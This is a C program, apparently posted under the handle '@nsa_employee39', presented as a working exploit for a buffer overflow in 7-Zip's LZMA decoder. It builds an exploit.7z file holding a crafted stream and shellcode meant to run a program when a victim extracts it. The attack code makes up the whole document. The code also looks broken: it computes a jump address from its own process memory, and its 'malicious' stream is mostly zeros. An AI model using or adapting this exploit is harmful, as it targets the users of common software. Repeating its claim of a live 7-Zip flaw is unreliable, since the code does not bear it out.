Mog

// by @nsa_employee39

// This exploit targets a vulnerability in the LZMA decoder of the 7-Zip software. It uses a crafted .7z archive with a malformed LZMA stream to trigger a buffer overflow condition in the RC_NORM function. By aligning offsets and payloads, the exploit manipulates the internal buffer pointers to execute shellcode which results in arbitrary code execution. When the victim opens/extracts the archive using a vulnerable version (current version) of 7-Zip, the exploit triggers, executing a payload that launches calc.exe (You can change this).

// offsets might need to be adjusted!!!


#include "LzmaEnc.h"
#include "LzmaDec.h"
#include "7z.h"
#include "7zAlloc.h"
#include "Xz.h"
#include "XzEnc.h"
#include "7zFile.h"
#include "7zStream.h"
#include "CpuArch.h"

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static void WriteUInt32LE(unsigned char* buf, UInt32 value) {
    buf[0] = (Byte)(value & 0xFF);
    buf[1] = (Byte)((value >> 8) & 0xFF);
    buf[2] = (Byte)((value >> 16) & 0xFF);
    buf[3] = (Byte)((value >> 24) & 0xFF);
}

static void WriteUInt64LE(unsigned char* buf, UInt64 value) {
    buf[0] = (Byte)(value & 0xFF);
    buf[1] = (Byte)((value >> 8) & 0xFF);
    buf[2] = (Byte)((value >> 16) & 0xFF);
    buf[3] = (Byte)((value >> 24) & 0xFF);
    buf[4] = (Byte)((value >> 32) & 0xFF);
    buf[5] = (Byte)((value >> 40) & 0xFF);
    buf[6] = (Byte)((value >> 48) & 0xFF);
    buf[7] = (Byte)((value >> 56) & 0xFF);
}

int main() {
    unsigned char shellcode[] = {
        0x55, 0x89, 0xE5, 0x83, 0xEC, 0x08, 0xC7, 0x04, 0x24,
        'c', 'a', 'l', 'c', 0x00, 0xCC, 0xCC, 0xCC, 0x89, 0xEC, 0x5D, 0xC3
    };

    size_t shellcodeSize = sizeof(shellcode);
    UInt32 addressOfSystemOffset = 0x39;
    UInt32 jmpOffset = (UInt32)((unsigned char*)&system - ((unsigned char*)shellcode + addressOfSystemOffset + 4));
    WriteUInt32LE(shellcode + 18, jmpOffset);

    unsigned char malicious_lzma_stream[] = {
        0x5D, 0x00, 0x00, 0x00, 0x01, 0x00,
        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
        0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };

    unsigned char header[] = {
        '7', 'z', 0xBC, 0xAF, 0x27, 0x1C, 0x00, 0x04, 0x03, 0x5B, 0xA8, 0x6F,
        0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };

    unsigned char lzma_props[] = { 0x5D, 0x00, 0x00, 0x00, 0x01, 0x00 };

    size_t payloadSize = sizeof(header) + sizeof(lzma_props) + sizeof(malicious_lzma_stream) + sizeof(shellcode);
    unsigned char *payload = (unsigned char *)malloc(payloadSize);

    unsigned char *p = payload;
    memcpy(p, header, sizeof(header)); p += sizeof(header);
    memcpy(p, lzma_props, sizeof(lzma_props)); p += sizeof(lzma_props);
    memcpy(p, malicious_lzma_stream, sizeof(malicious_lzma_stream)); p += sizeof(malicious_lzma_stream);
    memcpy(p, shellcode, sizeof(shellcode));

    FILE *f = fopen("exploit.7z", "wb");
    if (!f) {
        perror("Failed to create exploit.7z");
        return 1;
    }

    fwrite(payload, 1, payloadSize, f);
    fclose(f);

    free(payload);
    return 0;
}